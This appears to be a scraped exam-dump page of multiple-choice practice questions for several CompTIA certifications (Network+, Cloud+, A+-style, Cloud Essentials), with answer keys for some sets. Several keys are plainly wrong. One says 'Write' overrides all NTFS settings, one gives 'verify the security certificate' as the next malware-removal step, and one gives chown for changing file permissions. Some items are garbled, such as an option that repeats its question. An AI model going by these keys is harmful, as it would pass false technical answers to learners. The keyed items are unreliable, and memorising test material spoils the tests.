C. Social engineering
D. Credential exposure

 

QUESTION 12

Which of the following types of controls is a turnstile?

A. Physical
B. Detective
C. Corrective
D. Technical

 

QUESTION 13

A security analyst sees the following log output while reviewing web logs:

comptia sy0-601 exam questions q13

Which of the following mitigation strategies would be BEST to prevent this attack from being successful?

A. Secure cookies
B. Input validation
C. Code signing
D. Stored procedures

Publish the answer

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[New] Perfect preparation for CompTIA N10-008 exam – lead4Pass N10-008 Dumps

Posted by admin on in CompTIA, CompTIA Network+, n10-008 CompTIA Network+, n10-008 exam dumps, n10-008 exam questions, n10-008 practice test, Uncategorized
CompTIA Network+ timeline

CompTIA Network+ has experienced years of development from N10-003 -> N10-004 -> N10-006 ->
N10-007 (CompTIA Network+ N10-007 (English language version) will retire June 2022.) -> N10-008 (The new CompTIA Network+ N10-008 will be available 9/15).

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The latest CompTIA N10-008 has been updated. Lead4pass shares some of the N10-008 exam practice questions for free.

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The test answer is at the end of the article

QUESTION 1

At which of the following OSI model layers would a technician find an IP header?

A. Layer 1
B. Layer 2
C. Layer 3
D. Layer 4

 

QUESTION 2

After the A record of a public website was updated, some visitors were unable to access the website. Which of the
following should be adjusted to address the issue?

A. TTL
B. MX
C. TXT
D. SOA

 

QUESTION 3

A technician needs to configure a Linux computer for network monitoring. The technician has the following information:
Linux computer details:

comptia n10-008 exam questions q3

After connecting the Linux computer to the mirror port on the switch, which of the following commands should the
technician run on the Linux computer?

A. ifconfig ecth0 promisc
B. ifconfig eth1 up
C. ifconfig eth0 10.1.2.3
D. ifconfig eth1 hw ether A1:B2:C3:D4:E5:F6

 

QUESTION 4

A network technician is installing new software on a Windows-based server in a different geographical location. Which
of the following would be BEST for the technician to use to perform this task?

A. RDP
B. SSH
C. FTP
D. DNS

 

QUESTION 5

A user reports a laptop wireless connection is working at the user\\’s desk but not in a recent building addition. A
network administrator logs into the wireless controller, searches for the user\\’s MAC address, and receives the following results:

comptia n10-008 exam questions q5

Which of the following describes the reason for the issue?

A. Frequency mismatch
B. Distance limitation
C. Channel overlap
D. Wrong SSID

 

QUESTION 6

A new cabling certification is being requested every time a network technician rebuilds one end of a Cat 6 (vendorcertified) cable to create a crossover connection that is used to connect switches. Which of the following would address this issue by allowing the use of the original cable?

A. CSMA/CD
B. LACP
C. PoE+
D. MDIX

 

QUESTION 7

Which of the following accurately describes a warm site in datacenter disaster recovery?

A. An online standby datacenter that is fully equipped without company data
B. A backup datacenter location that is ready for equipment to be installed
C. A backup datacenter location that is fully equipped bot not online
D. An online, standby datacenter that is fully equipped with all company data

 

QUESTION 8

Which of the following connector types would have the MOST flexibility?

A. Which of the following connector types would have the MOST flexibility?
B. BNC
C. LC
D. RJ45

 

QUESTION 9

A small company decided to use a single virtual appliance lo filter spam as well as a reverse proxy to filter traffic to its
internal web server. Which of the following did the company MOST likely deploy?

A. IPS
B. Firewall
C. SIEM
D. UTM
E. Content filler

 

QUESTION 10

A network administrator needs to extend an organization\\’s network to a nearby building that has unused SMF already installed. The network administrator has decided to create a switch-to-switch uplink. Which of the following standards would be the BEST to use?

A. 10BASE-T
B. 100BASE-T
C. 1000BASE-LX
D. 1000BASE-SX

 

QUESTION 11

A network technician is connecting medical monitoring devices on a personal area network for patients\\’ phones. Which of the following technologies should be used?

A. Bluetooth
B. ROD
C. NFC
D. IR

 

QUESTION 12

Which of the following protocols is used during web browsing to resolve website names?

A. HTTP
B. LDAP
C. SNMP
D. DNS

 

QUESTION 13

A technician wants to deploy a new wireless network that comprises 30 WAPs installed throughout a three-story office
building. All the APs will broadcast the same SSID for client access. Which of the following BEST describes this
deployment?

A. Extended service set
B. Basic service set
C. Unified service set
D. Independent basic service set

Publish the answer:

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CompTIA CV0-002 exam questions and Answers updated from Lead4Pass

Posted by admin on in CompTIA, CompTIA Cloud+, cv0-002 CompTIA Cloud+ Certification Exam, CV0-002 dumps, CV0-002 exam questions, CV0-002 practice test, Uncategorized
CV0-002-QUESTIONS-AND-ANSWERS

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CompTIA CV0-002 exam practice questions

CompTIA CV0-002 practice questions answers at the end of the text

QUESTION 1

A company provides IaaS services. Which of the following disk provisioning models for creating standard template
should the company use to provision virtual instances?

A. Thin disk

B. SCSI disk

C. SATA disk

D. Thick disk

 

QUESTION 2

Which of the following are types of storage media? (Select two.)

A. SCSI

B. SSD

C. Tape

D. SATA

E. USB

 

QUESTION 3

After deploying multiple copies of database servers, data scrambling is started on them to anonymize user data. A few
minutes later, the systems administrator receives multiple complaints regarding the performance of other VMs. CPU and memory have been eliminated as possible bottlenecks.

Which of the following should be verified NEXT as a possible bottleneck?

A. Storage array

B. Database drivers

C. Hardware load balancer

D. Internet connection speed

 

QUESTION 4

Implementing a process in a change management system takes place after:

A. rigorous peer review.

B. consultation with the vendor.

C. initial test in a sandbox.

D. approval by the CAB.

 

QUESTION 5

An administrator is tasked with the virtualization of all database management applications. Which of the following should the administrator do FIRST to ensure that database performance will be optimal?

A. Follow the recommendations of the database management application vendor.

B. Design a physical to virtual migration plan of the application.

C. Adhere to the recommendations of the virtualization software vendor.

D. Develop a migration plan to the new environment, ensuring maximum uptime.

 

QUESTION 6

Users are reporting slow performance on a virtual server. An administrator notices that the virtual CPU is at 50%. Which
of the following should the administrator check on the host?

A. I/O throttling

B. CPU wait time

C. Swap files

D. Memory ballooning

 

QUESTION 7

A cloud administrator reports a problem with the maximum number of users reached in one of the pools. There are ten
VMs in the pool, each with a software capacity to handle ten users. Based on the dashboard metrics, 15% of the
incoming new service requests are failing.

Which of the following is the BEST approach to resolve the issue?

A. Check compute, storage, and networking utilization in the dashboard and increase capacity by adding more
resources.

B. Check current licensed capacity and purchase additional licenses to add more users.

C. Check the DHCP scope and increase the number of available IP addresses by extending the pool.

D. Check the rate-of-load increase to determine if the cloud capacity boundary has been exceeded and enable bursting
to the pubic cloud.

 

QUESTION 8

A company hired a consultant to diagnose and report performance issues of an application hosted on an IaaS, three-tier application. The cloud administrator must provision only the access required by the consultant to complete the job.

Which of the following resource configurations should be applied to the consultant\\’s account? (Choose two.)

A. Read/write access to the load balancer and its configuration settings

B. Administrator account on the resources in that region

C. Read/write access to the cloud compute resources

D. Read-only access to the server OS logs

E. Read-only access to the cloud resource diagnostic logs

F. Administrator account in the server OS

 

QUESTION 9

A VM was successfully tested in a lab environment. As part of the deployment preparation, the image needs to be
backed up for use in the multi-rollout accompanied by orchestration templates.

Which of the following should be used to create the image?

A. Snapshot

B. Replica

C. Full

D. Clone

 

QUESTION 10

The IT department receives a client request to build multiple file server instances. Which of the following is the MOST
efficient way for a cloud systems administrator to fulfill this request?

A. Build file server instances with the OEM DVD

B. Restore a file server base image from backup

C. Use the file server template to build the file server instances

D. Build the server instances using a boot from a SAN image

 

QUESTION 11

The administrator of virtual infrastructure needs to provision block storage for a virtual machine on which a business
critical application will be installed. Considering performance, which of the following describes how the administrator
should attach the storage to the VM?

A. Using NFS

B. Using CIFS

C. Using IPv6

D. Using iSCSI

http://www.techrepublic.com/blog/the-enterprise-cloud/block-level-storage-vs-file-level-storage-a-comparison/

 

QUESTION 12

A new host has been bought to be a part of a new cluster. The purchase order specifies this server has four physical
CPUs with eight cores each. After the administrator boots the host, there are only 24 logical processors available for VM allocation.

Which of the following BEST describes this problem?

A. The server requires a firmware upgrade to version 8.2

B. The BIOS does not have virtualization support features completely enabled

C. The virtualization license is not the enterprise edition

D. A CPU is dead on arrival or disabled on the motherboard

 

QUESTION 13

A cloud engineer is upgrading a high-performance computing cluster for the private cloud. The existing cluster is being replaced with GPU servers. A single GPU server is capable of the same teraflops output as 10 CPU servers. The
current cluster configuration is as follows:

1.100 quad-core CPU servers capable of producing 100 teraflops.
2.The baseline and current usage is 100%.

The new cluster was set up and benchmarked in four different configurations. Which of the following configurations will meet the baseline teraflops performance of the cluster while maintaining the current usage?

A. 1 GPU server, 80 CPU servers

B. 2 GPU servers, 50 CPU servers

C. 5 GPU servers, 40 CPU servers

D. 9 GPU servers, 10 CPU servers

Publish the answer:

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QUESTION 1

A company needs a software package for a new branch office. Which of the following license should the business
purchase to allow correct licensing of the software?
A. Personal license for each employee
B. Commercial license for each concurrent user
C. Open-source license for each installation
D. Enterprise license for all corporate computers
Correct Answer: B

QUESTION 2

A user is unable to access certain files from a specific folder. Which of the following commands should a technician use
to modify the file permissions for a specific file?
A. chown
B. ls
C. grep
D. cp
Correct Answer: A
Reference: https://devblogs.microsoft.com/commandline/chmod-chown-wsl-improvements/

QUESTION 3

A technician is having issues with the WiFi connection while working on a Mac. The technician wants to check which
SSID the computer is connected to and some statistics about the connection. Which of the following terminal commands
should the technician use?
A. apt-get
B. iwconfig
C. sudo
D. ifconfig
Correct Answer: B

QUESTION 4

A technician is called to troubleshoot a user\’s Windows workstation that fails to boot. The user reports that, after
updating the workstation\’s graphics driver to a beta version, the machine gives a “Stop” error on every boot Which of
the following should the technician complete to resolve the issue?
A. Boot the workstation in safe mode and disable the graphics driver system tray menu
B. Boot the workstation in safe mode with networking and install the latest stable graphics driver.
C. Boot the workstation in safe mode and disable Windows driver signing requirements
D. Boot the workstation in safe mode with Command Prompt and enable Driver Verifier with standard settings
Correct Answer: A

QUESTION 5

An administrator wants to deploy updates during the company\’s off-hours. Which of the following properties should the administrator implement to facilitate the deployment of the updates?
A. WaKe-on-LAN
B. Proxy settings
C. Remote Assistance
D. Quality of service
Correct Answer: A

QUESTION 6

A Windows user logs on to a network domain computer after recently being switched to a roaming profile. The user
reports extremely long startup times. Which of the following should a technician check to address this issue?
A. The amount of data on the user\’s desktop
B. The total quantity of RAM installed on the computer
C. The free space available on the network share
D. The size of the Windows swap file
Correct Answer: A

QUESTION 7

A technician is updating a Linux server that had been in storage. After booting into single-user mode, a command is
issued that displays the technician\’s current location in the filesystem. Which of the following commands was issued?
A. PWD
B. passed
C. apt-get
D. grep
Correct Answer: A

QUESTION 8

Which of the following NTFS security settings overrides all other settings?
A. Deny
B. Modify
C. Read
D. Write
Correct Answer: D

QUESTION 9

Which of the following provide the BEST security for a server room? (Select two.)
A. Badge reader
B. Bollard
C. Biometric lock
D. Cable lock
E. USB token
F. Privacy window shades
Correct Answer: AC

QUESTION 10

A user is installing Windows 7 on a PC with a RAID card. The user has verified all of the cables are connected correctly,
but the installation media does not detect any hard drives. Which of the following should the user do to help detect the
hard drives?
A. Press F8 when prompted
B. Hit the refresh button to force a re-detect
C. Enable PATA in the BIOS
D. Select load driver
Correct Answer: D
Reference: http://www.togaware.com/linux/survivor/Load_RAID.html

QUESTION 11

A technician is acquiring hardware devices and setting up a computer lab with virtual desktops. The lab computers must
have the ability to connect automatically to the remote session upon boot and must be started remotely. Which of the
following solutions must the hardware be able to support? (Choose two.)
A. Image deployment
B. Multiboot
C. PXE
D. Unattended installation
E. USB
F. Wake-on-LAN
Correct Answer: CF

QUESTION 12

A user has installed a legacy application in Windows 7 and reports that only some of the functionality in it is operational.
Another user is using the same application on a different Windows 7 machine and doesn\’t report those problems.
Which of the following features in Windows 7 may be responsible for this problem?
A. System Protection settings
B. User Account Control
C. Action Center
D. Data Execution Prevention
Correct Answer: B
Reference: http://windows.microsoft.com/en-us/windows7/products/features/user-account-control

QUESTION 13

Joe. a user, is receiving automated replies but does not remember sending any emails to those recipients He checks
the sent items folder and sees email messages he did not send Which of the following would be the BEST way to
resolve this issue?
A. Reset Joe\’s email password
B. Set up a rule to delete the automated replies
C. Mark the automated replies as spam D. Rebuild Joe\’s profile
Correct Answer: A

QUESTION 14

A technician receives an end user\’s computer that displays erratic behavior upon startup. When the technician starts
the computer performance is reduced. A window appears on the screen stating a purchase must be made to disinfect
the computer. The technician quarantines the computer and disables System Restore. Which of the following should the
technician do NEXT?
A. Roll back the NIC driver
B. Update and install anti-malware software
C. Configure and enable the email spam filters
D. Verify the security certificate is valid
E. Perform a full system backup
Correct Answer: D

QUESTION 15

A technician performs a risk assessment and determines a requested change has low risk and low impact. Which of the
following best practices should the technician follow to proceed with implementing the change?
A. Update the ticket with the results of the risk assessment and implement the change
B. Reference the business policy and follow all change management procedures
C. Obtain approval from the department and implement the change
D. Provide a risk assessment to colleagues for peer review
Correct Answer: B

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CompTIA Cloud Essentials exam questions and answers updated

Posted by admin on in clo-002 CompTIA Cloud Essentials+, clo-002 exam questions, clo-002 practice test, CompTIA, CompTIA Cloud Essentials, Uncategorized
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QUESTION 1

Which of the following BEST explains why there should be an established communication policy between CSPs and
clients?

A. To set guidelines for securing network traffic for all communications with endpoints on the corporate local area
network
B. To ensure all staff knows the acceptable guidelines for representing themselves on social media.
C. To has protocols in place for notifying staff when a cloud outage occurs.
D. To have proper procedures in place for interactions between internal departments and cloud vendors submitting bids for software or service.
Correct Answer: C

QUESTION 2

Which of the following would be expected from a security consultant who has been hired to investigate a data breach of a private cloud instance?

A. Incident report
B. Application scan results
C. Request for information
D. Risk register
Correct Answer: A

QUESTION 3

A cloud administrator notices users call to report application performance degradation between 1:00 p.m. and 3:00 p.m. every day. Which of the following is the BEST option for the administrator to configure?

A. Locality
B. Block storage
C. Right-sizing
D. Auto-scaling
Correct Answer: D

QUESTION 4

A cloud administrator for an ISP identified a vulnerability in the software that controls all the firewall rules for a
geographic area. To ensure the software upgrade is properly tested, approved, and applied, which of
the following processes should the administrator follow?

A. Configuration management
B. Incident management
C. Resource management
D. Change management
Correct Answer: A

QUESTION 5

A cloud systems administrator needs to migrate several corporate applications to a public cloud provider and
decommission the internal hosting environment. This migration must be completed by the end of the month.

Because these applications are internally developed to meet specific business accounting needs, the administrator cannot use an alternative application.

Which of the following BEST describes the approach the administrator should use?

A. Hybrid deployment
B. Phased migration
C. Lift and shift
D. Rip and replace
Correct Answer: C

QUESTION 6

A systems administrator is reviewing a disaster recovery option that requires little to no downtime in the event of a
natural disaster. Which of the following BEST meets this requirement?

A. Configure availability zones.
B. Configure high availability.
C. Configure geo-redundancy.
D. Configure auto-scaling.
Correct Answer: A


QUESTION 7

A new company directive requires all departments to ensure intellectual property is kept within a country\’s borders.
Which of the following concepts BEST represents this requirement?

A. Data portability
B. Data security
C. Data locality
D. Data sovereignty
Correct Answer: D

QUESTION 8

A business analyst is using a public cloud provider\’s CRM service to manage contacts and organize all
communication. Which of the following cloud service models is the analyst using?

A. IaaS
B. SaaS
C. DBaaS
D. PaaS
Correct Answer: B

QUESTION 9

Which of the following is the BEST approach to optimize data security in an IaaS migration of data to the cloud?

A. Review of the risk register.
B. Perform a vulnerability scan
C. Perform server hardening.
D. Configure encryption in transit.
Correct Answer: A

QUESTION 10

A systems administrator must select a CSP while considering system uptime and access to critical servers. Which of the
following is the MOST important criterion when choosing the CSP?

A. Elasticity
B. Scalability
C. Availability
D. Serviceability
Correct Answer: C

QUESTION 11

In a DevOps environment, there is a requirement to start building application solutions in an efficient manner without any dependent components. Which of the following should a DevOps engineer do to meet these requirements?

A. Build the applications in QA and then enable resource tagging.
B. Build the applications in QA, and then clone and deploy them in production.
C. Use templates for building the applications.
D. Use templates and enable auto-scaling.
Correct Answer: D

QUESTION 12

A cloud administrator needs to enable users to access business applications remotely while ensuring these applications
are only installed on company-controlled equipment. All users require the ability to modify personal working
environments.

Which of the following is the BEST solution?

A. SSO
B. VDI
C. SSH
D. VPN
Correct Answer: D

QUESTION 13

A software developer wants to ensure a packaged application can be deployed in different environments without
modifying anything but the application settings. The developer creates an image and provides instructions for the
systems administrator to use for deployment.

This is an example of:

A. application versioning.
B. source code control.
C. containerization.
D. deployment automation.
Correct Answer: B

QUESTION 14

Which of the following is related to data availability in the cloud?
A. Resiliency
B. Deduplication
C. Scalability
D. Elasticity
Correct Answer: A

QUESTION 15

Which of the following security objectives is MOST improved when moving a system to the cloud?
A. Availability
B. Integrity
C. Privacy
D. Confidentiality
Correct Answer: A

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